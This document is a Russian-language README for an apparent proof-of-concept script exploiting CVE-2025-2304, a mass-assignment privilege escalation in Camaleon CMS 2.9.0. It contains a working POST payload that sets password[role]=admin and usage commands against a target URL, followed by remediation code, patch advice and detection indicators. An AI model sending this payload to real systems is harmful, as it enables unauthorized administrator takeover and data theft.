CVE-2025-2304 - Camaleon CMS 2.9.0 - Эксплойт повышения привилегий

Обзор

Этот Python-скрипт эксплуатирует критическую уязвимость массового присваивания в Camaleon CMS версии 2.9.0, позволяя любому зарегистрированному пользователю повысить свои привилегии до администратора.

Детали уязвимости

• CVE: CVE-2025-2304 - Массовое присваивание в UsersController#updated_ajax
• Затронутая версия: Camaleon CMS 2.9.0
• Степень серьёзности: Критическая
• Вектор: Метод permit! в действии updated_ajax позволяет всем параметрам проходить без фильтрации, включая параметр role

Как работает эксплойт

1. Аутентификация: Скрипт сначала входит в систему как обычный зарегистрированный пользователь
2. Эксплуатация: Он отправляет POST-запрос на /admin/users/[id]/updated_ajax с вредоносной нагрузкой: (В скрипте я использовал id 5, так как обычно он назначается автоматически. Возможно, его потребуется изменить.)
   • password[role]=admin — Этот параметр должен фильтроваться, но из-за permit! этого не происходит
   • password[password] и password[password_confirmation] — Обновляет пароль пользователя (Когда обычный пользователь с ролью client обновляет свой профиль, технически это user[role]=client, но поскольку здесь мы эксплуатируем уязвимость, возникающую из-за функциональности change password, это будет password[role]=admin.)
3. Повышение привилегий: Роль пользователя изменяется с обычного пользователя на администратора
4. Проверка: Скрипт пытается получить доступ к эндпоинтам, доступным только администраторам, чтобы подтвердить успех

Установка

pip install -r requirements.txt

Использование

python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword

Необязательные параметры

• --new-password: Установить новый пароль во время эксплуатации (по умолчанию — текущий пароль)

Пример

python camaleon_cms_privilege_escalation.py \
    --url http://192.168.1.100 \
    --username testuser \
    --password testpass123 \
    --new-password newadminpass

Технические детали

Расположение уязвимого кода

Уязвимость находится в методе updated_ajax контроллера UsersController:

def updated_ajax
  # Vulnerable code - uses permit! instead of specific parameter filtering
  @user.update(params.require(:user).permit!)
  # This allows ANY parameter to be mass-assigned, including role
end

Вредоносная нагрузка

POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded

password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch

Ожидаемый ответ

{
  "success": true,
  "message": "User updated successfully"
}

Воздействие

• Повышение привилегий: Обычные пользователи могут получить доступ администратора
• Полная компрометация системы: Доступ администратора позволяет полностью контролировать CMS
• Утечка данных: Доступ ко всем пользовательским данным и контенту
• Постоянство: Возможность создавать бэкдоры и сохранять доступ

Меры по устранению

Для разработчиков

Замените уязвимый метод permit! на явную фильтрацию параметров:

def updated_ajax
  @user.update(params.require(:user).permit(:password, :password_confirmation, :email))
  # Explicitly exclude: role parameter
end

Для системных администраторов

1. Обновитесь до исправленной версии Camaleon CMS (2.9.1)
2. Внедрите контроль доступа на основе ролей
3. Добавьте проверку входных данных и фильтрацию параметров
4. Отслеживайте подозрительные попытки повышения привилегий

Отказ от ответственности

Этот скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Пожалуйста, не используйте этот эксплойт на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.

Обнаружение

Группы безопасности могут обнаруживать попытки эксплуатации, отслеживая:

• POST-запросы к /admin/users/[id]/updated_ajax с параметром password[role]
• Неожиданные изменения ролей в учётных записях пользователей
• Паттерны повышения привилегий в журналах аудита

Ссылки

• Документация по уязвимости массового присваивания
• Рекомендации по безопасности Ruby on Rails
• Уведомления о безопасности Camaleon CMS